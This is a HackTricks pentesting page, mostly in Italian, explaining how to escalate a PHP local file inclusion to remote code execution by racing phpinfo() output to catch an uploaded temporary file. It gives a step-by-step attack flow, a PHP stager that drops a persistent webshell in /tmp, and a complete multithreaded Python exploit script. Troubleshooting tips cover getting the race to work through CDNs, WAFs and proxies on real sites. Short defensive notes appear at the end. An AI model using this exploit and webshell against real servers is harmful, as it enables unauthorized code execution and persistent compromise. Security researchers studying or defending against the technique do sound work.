LFI to RCE via PHPInfo

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Per sfruttare questa tecnica hai bisogno di tutto quanto segue:

  • Una pagina raggiungibile che stampa l’output di phpinfo().
  • A Local File Inclusion (LFI) primitive che controlli (es. include/require su input dell’utente).
  • PHP file uploads abilitati (file_uploads = On). Qualsiasi script PHP accetterà RFC1867 multipart uploads e creerà un file temporaneo per ogni parte caricata.
  • Il processo PHP deve poter scrivere nella upload_tmp_dir configurata (o nella default system temp directory) e la tua LFI deve poter includere quel percorso.

Write-up classico e PoC originale:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Note sul PoC originale

  • L’output di phpinfo() è codificato in HTML, quindi la freccia “=>” appare spesso come “=>”. Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name].
  • Devi adattare il payload (il tuo codice PHP), REQ1 (la richiesta all’endpoint phpinfo() inclusa la padding), e LFIREQ (la richiesta al tuo LFI sink). Alcuni target non hanno bisogno di un null-byte (%00) come terminatore e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ al sink vulnerabile.

Esempio sed (solo se usi davvero il vecchio PoC Python2) per abbinare la freccia codificata in HTML:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoria

  • Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES[‘’][‘tmp_name’]. Il file viene rimosso automaticamente alla fine della richiesta a meno che non sia spostato/rinominato.
  • Il trucco è scoprire il nome temporaneo e includerlo tramite la LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name.
  • Gonfiando header/parametri della richiesta (padding) puoi causare il flush anticipato di porzioni dell’output di phpinfo() verso il client prima che la richiesta sia terminata, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e subito dopo colpire la LFI con quel percorso.

Su Windows i file temporanei si trovano comunemente sotto qualcosa come C:\Windows\Temp\php*.tmp. Su Linux/Unix sono di solito in /tmp o nella directory configurata in upload_tmp_dir.

Cosa verificare in phpinfo() prima della race

Prima di inviare migliaia di richieste, estrai i valori che determinano se la race è realistica:

  • file_uploads: deve essere On.
  • upload_tmp_dir: se impostato, questa è la directory che la tua LFI deve poter includere. Se vuoto, aspettati la directory temporanea di default del sistema.
  • open_basedir: se abilitato, il percorso di include vulnerabile deve comunque poter raggiungere la directory temporanea mostrata in tmp_name.
  • output_buffering: 4096 è una dimensione comune/default ed è il motivo per cui molti PoC leggono in chunk da 4KB, ma questo valore può variare.
  • zlib.output_compression, output_handler, e qualsiasi buffering a livello di framework: questi riducono la probabilità di vedere tmp_name abbastanza presto.
  • Server API: utile per decidere quanto buffering può esistere tra PHP e te (apache2handler è di solito più facile da ragionare rispetto a fpm-fcgi dietro a un reverse proxy).

Se la pagina non mostra $_FILES, assicurati di inviare davvero una richiesta multipart/form-data con una vera parte file. PHP popola tmp_name solo per i campi di upload che sono stati parsati.

Flusso d’attacco (passo per passo)

  1. Prepara un piccolo payload PHP che crei rapidamente una shell persistente, per evitare di perdere la race (scrivere un file è generalmente più veloce che aspettare una reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Invia un grande multipart POST direttamente alla pagina phpinfo() in modo che crei un file temp che contenga il tuo payload. Aumenta vari header/cookie/param con ~5–10KB di padding per incoraggiare un output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parsierai in $_FILES.

  2. Mentre la risposta di phpinfo() è ancora in streaming, analizza il body parziale per estrarre $_FILES[‘’][‘tmp_name’] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), spara il tuo LFI per includere quel percorso. Se l’include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php.

  3. Usa il file depositato: GET /vuln.php?include=/tmp/.p.php&x=id (o ovunque il tuo LFI ti permetta di includerlo) per eseguire comandi in modo affidabile.

Suggerimenti

  • Usa più worker concorrenti per aumentare le probabilità di vincere la race.
  • Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Regola in base al target.
  • Se il sink vulnerabile appende un’estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall’estensione del file temporaneo.

PoC Python 3 minimo (basato su socket)

Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), e PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Risoluzione dei problemi

  • You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
  • tmp_name appears only at the very end of the response: Questo è di solito un problema di buffering, non un problema di versione di PHP. Grandi valori di output_buffering, zlib.output_compression, userland output handlers, o reverse-proxy/FastCGI buffering possono ritardare il corpo di phpinfo() fino a quando la richiesta di upload non è quasi completata.
  • You only get reliable streaming in a lab, not through the real site: Una CDN, WAF, o reverse proxy può essere in buffering della risposta upstream. Se hai più percorsi verso la stessa app, preferisci il percorso di origine più diretto.
  • The classic 4096-byte offset logic misses the leak: Tratta 4096 come punto di partenza derivato dai valori predefiniti comuni di output_buffering, non come una costante universale. Analizza in modo incrementale e fermati non appena tmp_name è completo.
  • The temp file is included but your shell dies immediately: Usa un tiny stager che scriva un secondo file, perché il file temporaneo caricato sarà comunque cancellato quando la richiesta originale termina.
  • Output doesn’t flush early: Aumenta il padding, aggiungi più header grandi, o invia più richieste concorrenti. Alcuni SAPI/buffer non effettueranno il flush fino a soglie più grandi; adegua di conseguenza.
  • LFI path blocked by open_basedir or chroot: Devi puntare l’LFI a un percorso consentito o passare a un differente vettore LFI2RCE.
  • Temp directory not /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa quel percorso esatto nell’LFI.

Practical notes for modern stacks

  • Questa tecnica è ancora riproducibile in ambienti di laboratorio moderni; per esempio, Vulhub mantiene un demonstrator su PHP 7.2. In pratica, il successo tende a dipendere più dal buffering dell’output e dal proxying che da un livello di patch specifico per phpinfo().
  • flush() and implicit_flush only influence PHP’s own output layer. Non garantiscono che un gateway FastCGI, reverse proxy, browser, o intermediario rilasci chunk parziali immediatamente.
  • If the target is fpm-fcgi behind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. La race funziona solo se abbastanza della risposta phpinfo() sfugge a quella catena prima che lo shutdown della richiesta cancelli il file temporaneo.

Defensive notes

  • Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
  • Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
  • Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

References

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks